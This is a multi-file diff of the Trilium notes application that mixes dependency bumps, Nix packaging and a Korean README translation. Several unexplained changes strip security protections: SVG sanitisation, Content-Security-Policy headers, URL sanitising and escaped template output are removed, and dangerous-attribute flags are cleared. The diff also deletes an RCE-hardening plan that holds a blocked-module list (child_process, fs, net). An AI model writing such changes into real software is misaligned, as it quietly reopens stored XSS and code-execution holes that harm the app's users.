if (note.isLabelTruthy("shareDisallowRobotIndexing")) {
@@ -103,9 +102,10 @@ function renderImageAttachment(image: SNote, res: Response, attachmentName: stri
}
}
const sanitized = sanitizeSvg(svgString);
setSvgHeaders(res);
res.send(sanitized);
const svg = svgString;
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
}
function render404(res: Response) {
@@ -133,13 +133,6 @@ function register(router: Router) {
addNoIndexHeader(note, res);
if (note.isLabelTruthy("shareRaw") || typeof req.query.raw !== "undefined") {
// For HTML and SVG content, add restrictive Content-Security-Policy
// to prevent stored XSS via script execution (CWE-79).
if (note.mime === "text/html" || note.mime === "image/svg+xml") {
res.setHeader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; img-src * data:; font-src * data:");
res.setHeader("X-Content-Type-Options", "nosniff");
}
res.setHeader("Content-Type", note.mime).send(note.getContent());
return;
@@ -219,17 +212,10 @@ function register(router: Router) {
}
if (image.type === "image") {
// normal image
res.set("Content-Type", image.mime);
addNoIndexHeader(image, res);
if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.send(image.getContent());
}
res.send(image.getContent());
} else if (image.type === "canvas") {
renderImageAttachment(image, res, "canvas-export.svg");
} else if (image.type === "mermaid") {
@@ -252,17 +238,9 @@ function register(router: Router) {
}
if (attachment.role === "image") {
res.set("Content-Type", attachment.mime);
addNoIndexHeader(attachment.note, res);
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.send(attachment.getContent());
}
res.send(attachment.getContent());
} else {
res.status(400).json({ message: "Requested attachment is not a shareable image" });
}

View File

@@ -12,7 +12,6 @@ import host from "./services/host.js";
import buildApp from "./app.js";
import type { Express } from "express";
import { getDbSize } from "./services/sql_init.js";
import { isScriptingEnabled } from "./services/scripting_guard.js";
const MINIMUM_NODE_VERSION = "20.0.0";
@@ -82,14 +81,6 @@ async function displayStartupMessage() {
log.info(`💻 CPU: ${cpuModel} (${cpuInfos.length}-core @ ${cpuInfos[0].speed} Mhz)`);
}
log.info(`💾 DB size: ${formatSize(getDbSize() * 1024)}`);
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
} else {
log.info("Script execution is DISABLED. Set [Scripting] enabled=true in config.ini to enable.");
}
log.info("");
}

View File

@@ -11,7 +11,7 @@
"dependencies": {
"i18next": "25.8.11",
"i18next-http-backend": "3.0.2",
"preact": "10.28.3",
"preact": "10.28.4",
"preact-iso": "2.11.1",
"preact-render-to-string": "6.6.5",
"react-i18next": "16.5.4"

View File

@@ -27,7 +27,8 @@ export function initTranslations(lng: string) {
initAsync: false,
react: {
useSuspense: false
}
},
showSupportNotice: false
});
}

62
docs/README-ko.md vendored
View File

@@ -139,13 +139,11 @@ zadam/Trilium 인스턴스에서 TriliumNext/Trilium 인스턴스로 마이그
zadam/trilium 버전과 호환됩니다. 이후 버전의 TriliumNext/Trilium은 동기화 버전이 증가되어 직접 마이그레이션이
불가능합니다.
## 💬 Discuss with us
## 💬 함께 토론해 보세요
Feel free to join our official conversations. We would love to hear what
features, suggestions, or issues you may have!
저희 공식 대화에 자유롭게 참여해 주세요. 어떤 기능, 제안 또는 문제점이 있으시면 언제든지 알려주세요!
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (For synchronous
discussions.)
- [Matrix](https://matrix.to/#/#triliumnext:matrix.org) (동기식 토론용)
- `General` 매트릭스 룸은 [XMPP](xmpp:discuss@trilium.thisgreat.party?join)에도 브리지되어
있습니다
- [Github Discussions](https://github.com/TriliumNext/Trilium/discussions) (비동기
@@ -162,17 +160,15 @@ features, suggestions, or issues you may have!
### Linux
If your distribution is listed in the table below, use your distribution's
package.
사용하시는 배포판이 아래 표에 나와 있다면 해당 배포판의 패키지를 사용하십시오.
[![Packaging
status](https://repology.org/badge/vertical-allrepos/triliumnext.svg)](https://repology.org/project/triliumnext/versions)
[![패키징
상태](https://repology.org/badge/vertical-allrepos/triliumnext.svg)](https://repology.org/project/triliumnext/versions)
You may also download the binary release for your platform from the [latest
release page](https://github.com/TriliumNext/Trilium/releases/latest), unzip the
package and run the `trilium` executable.
또한 [최신 릴리스 페이지](https://github.com/TriliumNext/Trilium/releases/latest)에서 해당
플랫폼용 바이너리 릴리스를 다운로드하고 패키지의 압축을 풀고 `trilium` 실행 파일을 실행할 수도 있습니다.
TriliumNext is also provided as a Flatpak, but not yet published on FlatHub.
TriliumNext는 Flatpak으로도 제공되지만, 아직 FlatHub에는 게시되지 않았습니다.
### 브라우저 (모든 운영체제)
@@ -201,22 +197,21 @@ TriliumNext를 자체 서버에 설치하려면 [서버 설치
문서](https://docs.triliumnotes.org/user-guide/setup/server)를 따르세요.
## 💻 Contribute
## 💻 참여하기
### Translations
### 번역
If you are a native speaker, help us translate Trilium by heading over to our
[Weblate page](https://hosted.weblate.org/engage/trilium/).
원어민이시라면 [Weblate 페이지](https://hosted.weblate.org/engage/trilium/)로 이동하여 Trilium
번역을 도와주세요.
Here's the language coverage we have so far:
현재까지 지원되는 언어는 다음과 같습니다:
[![Translation
status](https://hosted.weblate.org/widget/trilium/multi-auto.svg)](https://hosted.weblate.org/engage/trilium/)
[![번역
상태](https://hosted.weblate.org/widget/trilium/multi-auto.svg)](https://hosted.weblate.org/engage/trilium/)
### Code
### 코드
Download the repository, install dependencies using `pnpm` and then run the
server (available at http://localhost:8080):
저장소를 다운로드하고 `pnpm`을 사용하여 종속성을 설치한 다음 서버를 실행하세요(http://localhost:8080에서 접속 가능):
```shell
git clone https://github.com/TriliumNext/Trilium.git
cd Trilium
@@ -224,7 +219,7 @@ pnpm install
pnpm run server:start
```
### Documentation
### 문서
저장소를 다운로드하고 `pnpm`을 사용하여 종속성을 설치한 다음 문서 편집에 필요한 환경을 실행하세요.
```shell
@@ -258,19 +253,16 @@ docs](https://github.com/TriliumNext/Trilium/tree/main/docs/Developer%20Guide/De
* [zadam](https://github.com/zadam)은 애플리케이션의 원래 개념과 구현에 대한 공로를 인정받았습니다.
* [Sarah Hussein](https://github.com/Sarah-Hussein)은 애플리케이션 아이콘을 디자인했습니다.
* [nriver](https://github.com/nriver) 국제화에 공헌.
* [Thomas Frei](https://github.com/thfrei) for his original work on the Canvas.
* [antoniotejada](https://github.com/nriver) for the original syntax highlight
widget.
* [Dosu](https://dosu.dev/) for providing us with the automated responses to
GitHub issues and discussions.
* [Tabler Icons](https://tabler.io/icons) for the system tray icons.
* [Thomas Frei](https://github.com/thfrei) 캔버스에 대한 독창적인 작업.
* [antoniotejada](https://github.com/nriver) 구문 강조 위젯의 원본.
* [Dosu](https://dosu.dev/) GitHub 이슈 및 토론에 대한 자동 응답을 제공.
* [Tabler Icons](https://tabler.io/icons) 시스템 트레이 아이콘.
Trilium would not be possible without the technologies behind it:
트릴리움은 다음의 기반 기술들이 없었다면 불가능했을 것입니다:
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - the visual editor behind
text notes. We are grateful for being offered a set of the premium features.
* [CodeMirror](https://github.com/codemirror/CodeMirror) - code editor with
support for huge amount of languages.
* [CKEditor 5](https://github.com/ckeditor/ckeditor5) - 텍스트 노트의 시각적 편집기입니다. 프리미엄
기능을 제공해주셔서 감사합니다.
* [CodeMirror](https://github.com/codemirror/CodeMirror) - 수많은 언어를 지원하는 코드 편집기.
* [Excalidraw](https://github.com/excalidraw/excalidraw) - the infinite
whiteboard used in Canvas notes.
* [Mind Elixir](https://github.com/SSShooter/mind-elixir-core) - providing the

View File

@@ -1,590 +0,0 @@
# RCE Hardening - Defense in Depth Implementation Plan
> **For Claude:** REQUIRED SUB-SKILL: Use superpowers:executing-plans to implement this plan task-by-task.
**Goal:** Prevent instant RCE from authenticated access by gating scripting behind a config flag, restricting `require()` to safe modules, adding auth to unauthenticated execution paths, and filtering dangerous attributes from sync.
**Architecture:** Add a `[Scripting]` section to config.ini with `enabled=false` default for server mode. Gate all script execution entry points behind this flag. Restrict `ScriptContext.require()` to a whitelist. Add auth middleware to `/custom/*`. Filter dangerous attributes during sync (same pattern as import's `safeImport`).
**Tech Stack:** TypeScript, Express middleware, Node.js `config.ini` system
---
## Task 1: Add `[Scripting]` config section
**Files:**
- Modify: `apps/server/src/services/config.ts` (add Scripting section to TriliumConfig, configMapping, and config object)
- Modify: `apps/server/src/assets/config-sample.ini` (add [Scripting] section)
**Step 1: Add Scripting section to TriliumConfig interface**
In `config.ts`, add to the `TriliumConfig` interface after `Logging`:
```typescript
/** Scripting and code execution configuration */
Scripting: {
/** Whether backend/frontend script execution is enabled (default: false for server, true for desktop) */
enabled: boolean;
/** Whether the SQL console is accessible (default: false) */
sqlConsoleEnabled: boolean;
};
```
**Step 2: Add configMapping entries**
Add after `Logging` in `configMapping`:
```typescript
Scripting: {
enabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_ENABLED',
iniGetter: () => getIniSection("Scripting")?.enabled,
defaultValue: false,
transformer: transformBoolean
},
sqlConsoleEnabled: {
standardEnvVar: 'TRILIUM_SCRIPTING_SQLCONSOLEENABLED',
aliasEnvVars: ['TRILIUM_SCRIPTING_SQL_CONSOLE_ENABLED'],
iniGetter: () => getIniSection("Scripting")?.sqlConsoleEnabled,
defaultValue: false,
transformer: transformBoolean
}
}
```
**Step 3: Add to config object**
```typescript
Scripting: {
enabled: getConfigValue(configMapping.Scripting.enabled),
sqlConsoleEnabled: getConfigValue(configMapping.Scripting.sqlConsoleEnabled)
}
```
**Step 4: Update config-sample.ini**
Add at the bottom:
```ini
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false
```
**Step 5: Commit**
```
feat(security): add [Scripting] config section with enabled=false default
```
---
## Task 2: Create scripting guard utility
**Files:**
- Create: `apps/server/src/services/scripting_guard.ts`
- Create: `apps/server/src/services/scripting_guard.spec.ts`
**Step 1: Write tests**
```typescript
// scripting_guard.spec.ts
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
describe("ScriptingGuard", () => {
it("should throw when scripting is disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: false, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrow("disabled");
});
it("should not throw when scripting is enabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should throw for SQL console when disabled", async () => {
vi.doMock("./config.js", () => ({
default: { Scripting: { enabled: true, sqlConsoleEnabled: false } }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrow("disabled");
});
});
```
**Step 2: Implement**
```typescript
// scripting_guard.ts
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}
```
**Step 3: Run tests, verify pass**
**Step 4: Commit**
```
feat(security): add scripting guard utility
```
---
## Task 3: Gate script execution endpoints
**Files:**
- Modify: `apps/server/src/routes/api/script.ts` (add guard to exec, run, bundle endpoints)
- Modify: `apps/server/src/routes/api/sql.ts` (add guard to execute endpoint)
- Modify: `apps/server/src/routes/api/bulk_action.ts` (add guard to execute)
**Step 1: Gate `POST /api/script/exec` and `POST /api/script/run/:noteId`**
In `apps/server/src/routes/api/script.ts`, add at the top of `exec()` and `run()`:
```typescript
import { assertScriptingEnabled } from "../../services/scripting_guard.js";
async function exec(req: Request) {
assertScriptingEnabled();
// ... existing code
}
function run(req: Request) {
assertScriptingEnabled();
// ... existing code
}
```
**Step 2: Gate SQL console**
In `apps/server/src/routes/api/sql.ts`, add at the top of `execute()`:
```typescript
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
function execute(req: Request) {
assertSqlConsoleEnabled();
// ... existing code
}
```
**Step 3: Gate bulk action executeScript**
In `apps/server/src/services/bulk_actions.ts`, add guard inside the `executeScript` handler:
```typescript
import { assertScriptingEnabled } from "./scripting_guard.js";
executeScript: (action, note) => {
assertScriptingEnabled();
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate script/SQL execution behind Scripting.enabled config
```
---
## Task 4: Gate scheduler and event handler script execution
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` (check isScriptingEnabled before running)
- Modify: `apps/server/src/services/handlers.ts` (check isScriptingEnabled in runAttachedRelations)
- Modify: `apps/server/src/routes/api/script.ts` (gate startup/widget bundle endpoints)
**Step 1: Gate scheduler**
In `scheduler.ts`, the `TRILIUM_SAFE_MODE` check already exists. Augment it with scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
setTimeout(cls.wrap(() => runNotesWithLabel("backendStartup")), 10 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("hourly")), 3600 * 1000);
setInterval(cls.wrap(() => runNotesWithLabel("daily")), 24 * 3600 * 1000);
// ...
}
});
```
**Step 2: Gate event handlers**
In `handlers.ts`, wrap `runAttachedRelations` with a scripting check:
```typescript
import { isScriptingEnabled } from "./scripting_guard.js";
function runAttachedRelations(note: BNote, relationName: string, originEntity: AbstractBeccaEntity<any>) {
if (!note || !isScriptingEnabled()) {
return;
}
// ... existing code
}
```
**Step 3: Gate frontend startup/widget bundles**
In `script.ts` (the route file), gate `getStartupBundles` and `getWidgetBundles`:
```typescript
import { isScriptingEnabled } from "../../services/scripting_guard.js";
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return { scripts: [], superScripts: [] };
}
// ... existing code
}
```
**Step 4: Verify TypeScript compiles, run tests**
**Step 5: Commit**
```
feat(security): gate scheduler, event handlers, and frontend bundles behind Scripting.enabled
```
---
## Task 5: Add authentication to `/custom/*` routes
**Files:**
- Modify: `apps/server/src/routes/custom.ts` (add optional auth middleware)
**Step 1: Add auth check with opt-out**
The custom handler needs auth by default, but notes with `#customRequestHandlerPublic` label can opt out. Modify `handleRequest`:
```typescript
import auth from "./auth.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// ... existing path parsing code ...
for (const attr of attrs) {
// ... existing matching code ...
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
// ... existing execution code ...
}
}
}
```
**Step 2: Add `customRequestHandlerPublic` to builtin attributes**
In `packages/commons/src/lib/builtin_attributes.ts`, add:
```typescript
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
```
**Step 3: Verify TypeScript compiles**
**Step 4: Commit**
```
feat(security): require auth for /custom/* handlers by default, add #customRequestHandlerPublic opt-out
```
---
## Task 6: Restrict `require()` in ScriptContext
**Files:**
- Modify: `apps/server/src/services/script_context.ts` (add module whitelist)
**Step 1: Add module whitelist**
Replace the unrestricted `require()` fallback with a whitelist:
```typescript
// Modules that are safe for user scripts to require.
// These do NOT provide filesystem, network, or OS access.
const ALLOWED_MODULES = new Set([
// Trilium built-in modules (resolved via note titles, not Node require)
// -- these are handled before the fallback
// Safe utility libraries available in node_modules
"dayjs",
"marked",
"turndown",
"cheerio",
"axios", // already exposed via api.axios, but scripts may require it directly
"xml2js", // already exposed via api.xml2js
"escape-html",
"sanitize-html",
"lodash",
// Trilium-specific modules
"trilium:preact",
"trilium:api",
]);
// Modules that are BLOCKED even when scripting is enabled.
// These provide OS-level access that makes RCE trivial.
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
class ScriptContext {
// ... existing fields ...
require(moduleNoteIds: string[]) {
return (moduleName: string) => {
// First: check note-based modules (existing behavior)
const candidates = this.allNotes.filter((note) => moduleNoteIds.includes(note.noteId));
const note = candidates.find((c) => c.title === moduleName);
if (note) {
return this.modules[note.noteId].exports;
}
// Second: check blocked list
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Third: allow if in whitelist, otherwise block
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
};
}
}
```
**Step 2: Verify TypeScript compiles, run tests**
**Step 3: Commit**
```
feat(security): restrict require() in script context to whitelisted modules
```
---
## Task 7: Filter dangerous attributes from sync
**Files:**
- Modify: `apps/server/src/services/sync_update.ts` (add dangerous attribute filtering)
**Step 1: Add attribute filtering in `updateNormalEntity`**
After `preProcessContent(remoteEC, remoteEntityRow)` at line 92, before `sql.replace()` at line 94, add:
```typescript
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import log from "./log.js";
// In updateNormalEntity, after preProcessContent:
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as { type?: string; name?: string; isDeleted?: number };
if (attrRow.type && attrRow.name && !attrRow.isDeleted &&
attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
// Prefix dangerous attributes when scripting is disabled, same as safeImport
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
(remoteEntityRow as any).name = `disabled:${attrRow.name}`;
}
}
```
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): filter dangerous attributes from sync when scripting is disabled
```
---
## Task 8: Restrict EJS share templates when scripting is disabled
**Files:**
- Modify: `apps/server/src/share/content_renderer.ts` (skip user EJS templates when scripting disabled)
**Step 1: Add scripting check before EJS rendering**
In `renderNoteContentInternal`, wrap the user template check:
```typescript
import { isScriptingEnabled } from "../services/scripting_guard.js";
// In renderNoteContentInternal, around lines 200-229:
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
// ... existing EJS rendering code ...
}
```
When scripting is disabled, user-provided EJS templates are silently ignored and the default template is used instead. This prevents the unauthenticated RCE via share templates.
**Step 2: Verify TypeScript compiles**
**Step 3: Commit**
```
feat(security): skip user EJS share templates when scripting is disabled
```
---
## Task 9: Desktop auto-enable scripting
**Files:**
- Modify: `apps/server/src/services/config.ts` (override Scripting.enabled for Electron)
**Step 1: Auto-enable for desktop**
After the `config` object is built, add:
```typescript
import { isElectron } from "./utils.js";
// At the bottom, before export:
// Desktop builds always have scripting enabled (single-user trusted environment)
if (isElectron) {
config.Scripting.enabled = true;
config.Scripting.sqlConsoleEnabled = true;
}
```
Note: `isElectron` is already imported in utils.ts and is available. Alternatively, the `scripting_guard.ts` already checks `isElectron`, so this step may be redundant but makes the config object truthful.
**Step 2: Check if `isElectron` is available in config.ts scope**
If not available at module load time, the guard in `scripting_guard.ts` already handles this via `isElectron || config.Scripting.enabled`. This step can be skipped if circular import issues arise.
**Step 3: Commit**
```
feat(security): auto-enable scripting for desktop builds
```
---
## Task 10: Add log warnings when scripting is enabled
**Files:**
- Modify: `apps/server/src/services/scheduler.ts` or `apps/server/src/main.ts` (add startup warning)
**Step 1: Add startup log**
In the server startup path, after config is loaded:
```typescript
if (isScriptingEnabled()) {
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
"filesystem, network, and OS commands. Only enable in trusted environments.");
}
```
**Step 2: Commit**
```
feat(security): log warning when scripting is enabled at startup
```
---
## Summary of Protection Matrix
| Attack Vector | Before | After (scripting=false) | After (scripting=true) |
|---|---|---|---|
| `POST /api/script/exec` | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/bulk-action/execute` (executeScript) | Full RCE | **Blocked (403)** | RCE with restricted require() |
| `POST /api/sql/execute` | SQL execution | **Blocked (403)** | SQL execution |
| `ALL /custom/*` | Unauthenticated RCE | **Auth required + scripting blocked** | Auth required + restricted require() |
| `GET /share/` (EJS template) | Unauthenticated RCE | **Default template only** | RCE (user templates allowed) |
| `#run=backendStartup` notes | Auto-execute on restart | **Not executed** | Executed with restricted require() |
| Event handlers (`~runOnNoteChange` etc.) | Auto-execute | **Not executed** | Executed with restricted require() |
| Frontend startup/widget scripts | Auto-execute on page load | **Not sent to client** | Executed |
| Sync: dangerous attributes | Applied silently | **Prefixed with `disabled:`** | Applied normally |
| `require('child_process')` | Available | N/A (scripts don't run) | **Blocked** |
| `require('fs')` | Available | N/A (scripts don't run) | **Blocked** |
| Desktop (Electron) | Always enabled | Always enabled | Always enabled |

View File

@@ -113,7 +113,7 @@
[
moreutils # sponge
nodejs.python
removeReferencesTo
removeReferencesTo
]
++ lib.optionals (app == "desktop" || app == "edit-docs") [
copyDesktopItems
@@ -126,7 +126,7 @@
which
electron
]
++ lib.optionals (app == "server") [
++ lib.optionals (app == "server" || app == "build-docs") [
makeBinaryWrapper
]
++ lib.optionals stdenv.hostPlatform.isDarwin [
@@ -153,7 +153,7 @@
# This file is a symlink into /build which is not allowed.
postFixup = ''
rm $out/opt/trilium*/node_modules/better-sqlite3/node_modules/.bin/prebuild-install || true
find $out/opt -name prebuild-install -path "*/better-sqlite3/node_modules/.bin/*" -delete || true
'';
components = [
@@ -169,6 +169,7 @@
"packages/highlightjs"
"packages/turndown-plugin-gfm"
"apps/build-docs"
"apps/client"
"apps/db-compare"
"apps/desktop"
@@ -277,11 +278,46 @@
'';
};
build-docs = makeApp {
app = "build-docs";
preBuildCommands = ''
pushd apps/server
pnpm rebuild || true
popd
'';
buildTask = "client:build && pnpm run server:build && pnpm run --filter build-docs build";
mainProgram = "trilium-build-docs";
installCommands = ''
mkdir -p $out/{bin,opt/trilium-build-docs}
# Copy build-docs dist
cp --archive apps/build-docs/dist/* $out/opt/trilium-build-docs
# Copy server dist (needed for runtime)
mkdir -p $out/opt/trilium-build-docs/server
cp --archive apps/server/dist/* $out/opt/trilium-build-docs/server/
# Copy client dist (needed for runtime)
mkdir -p $out/opt/trilium-build-docs/client
cp --archive apps/client/dist/* $out/opt/trilium-build-docs/client/
# Copy share-theme (needed for exports)
mkdir -p $out/opt/trilium-build-docs/packages/share-theme
cp --archive packages/share-theme/dist/* $out/opt/trilium-build-docs/packages/share-theme/
# Create wrapper script
makeWrapper ${lib.getExe nodejs} $out/bin/trilium-build-docs \
--add-flags $out/opt/trilium-build-docs/cli.cjs \
--set TRILIUM_RESOURCE_DIR $out/opt/trilium-build-docs/server
'';
};
in
{
packages.desktop = desktop;
packages.server = server;
packages.edit-docs = edit-docs;
packages.build-docs = build-docs;
packages.default = desktop;

View File

@@ -67,7 +67,7 @@
"http-server": "14.1.1",
"jiti": "2.6.1",
"js-yaml": "4.1.1",
"jsonc-eslint-parser": "2.4.2",
"jsonc-eslint-parser": "3.1.0",
"react-refresh": "0.18.0",
"rollup-plugin-webpack-stats": "2.1.11",
"tslib": "2.8.1",
@@ -101,7 +101,7 @@
},
"overrides": {
"mermaid": "11.12.3",
"preact": "10.28.3",
"preact": "10.28.4",
"roughjs": "4.6.6",
"@types/express-serve-static-core": "5.1.0",
"flat@<5.0.1": ">=5.0.1",

View File

@@ -16,7 +16,7 @@
"@codemirror/lang-xml": "6.1.0",
"@codemirror/legacy-modes": "6.5.2",
"@codemirror/search": "6.6.0",
"@codemirror/view": "6.39.14",
"@codemirror/view": "6.39.15",
"@fsegurai/codemirror-theme-abcdef": "6.2.3",
"@fsegurai/codemirror-theme-abyss": "6.2.3",
"@fsegurai/codemirror-theme-android-studio": "6.2.3",

View File

@@ -19,7 +19,6 @@ export default [
{ type: "label", name: "runOnInstance", isDangerous: false },
{ type: "label", name: "runAtHour", isDangerous: false },
{ type: "label", name: "customRequestHandler", isDangerous: true },
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
{ type: "label", name: "customResourceProvider", isDangerous: true },
{ type: "label", name: "widget", isDangerous: true },
{ type: "label", name: "noteInfoWidgetDisabled" },
@@ -82,7 +81,6 @@ export default [
{ type: "label", name: "webViewSrc", isDangerous: true },
{ type: "label", name: "hideHighlightWidget" },
{ type: "label", name: "iconPack", isDangerous: true },
{ type: "label", name: "docName", isDangerous: true },
{ type: "label", name: "printLandscape" },
{ type: "label", name: "printPageSize" },
@@ -108,8 +106,8 @@ export default [
{ type: "relation", name: "widget", isDangerous: true },
{ type: "relation", name: "renderNote", isDangerous: true },
{ type: "relation", name: "shareCss" },
{ type: "relation", name: "shareJs", isDangerous: true },
{ type: "relation", name: "shareJs" },
{ type: "relation", name: "shareHtml" },
{ type: "relation", name: "shareTemplate", isDangerous: true },
{ type: "relation", name: "shareTemplate" },
{ type: "relation", name: "shareFavicon" }
];

View File

@@ -93,7 +93,7 @@
const logoWidth = subRoot.note.getLabelValue("shareLogoWidth") ?? 53;
const logoHeight = subRoot.note.getLabelValue("shareLogoHeight") ?? 40;
const mobileLogoHeight = logoHeight && logoWidth ? 32 / (logoWidth / logoHeight) : "";
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? sanitizeUrl(subRoot.note.getLabelValue("shareRootLink") ?? "") : `./${subRoot.note.noteId}`;
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? subRoot.note.getLabelValue("shareRootLink") : `./${subRoot.note.noteId}`;
const headingRe = /(<h[1-6]>)(.+?)(<\/h[1-6]>)/g;
const headingMatches = [...content.matchAll(headingRe)];
content = content.replaceAll(headingRe, (...match) => {
@@ -173,8 +173,7 @@ content = content.replaceAll(headingRe, (...match) => {
const action = note.type === "book" ? "getChildNotes" : "getVisibleChildNotes";
for (const childNote of note[action]()) {
const isExternalLink = childNote.hasLabel("shareExternal") || childNote.hasLabel("shareExternalLink");
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const linkHref = isExternalLink ? sanitizeUrl(rawHref ?? "") : rawHref;
const linkHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
const target = isExternalLink ? ` target="_blank" rel="noopener noreferrer"` : "";
%>
<li>

View File

@@ -57,6 +57,6 @@
%>
<div class="navigation">
<% if (previousNote) { %><a class="previous" href="./<%= previousNote.shareId %>"><%= previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%= nextNote.shareId %>"><%= nextNote.title %></a><% } %>
<% if (previousNote) { %><a class="previous" href="./<%- previousNote.shareId %>"><%- previousNote.title %></a><% } %>
<% if (nextNote) { %><a class="next" href="./<%- nextNote.shareId %>"><%- nextNote.title %></a><% } %>
</div>

View File

@@ -4,7 +4,7 @@ const isExternalLink = note.hasLabel("shareExternal");
let linkHref;
if (isExternalLink) {
linkHref = sanitizeUrl(note.getLabelValue("shareExternal") ?? "");
linkHref = note.getLabelValue("shareExternal");
} else if (note.shareId) {
linkHref = `./${note.shareId}`;
}

407
pnpm-lock.yaml generated

File diff suppressed because it is too large Load Diff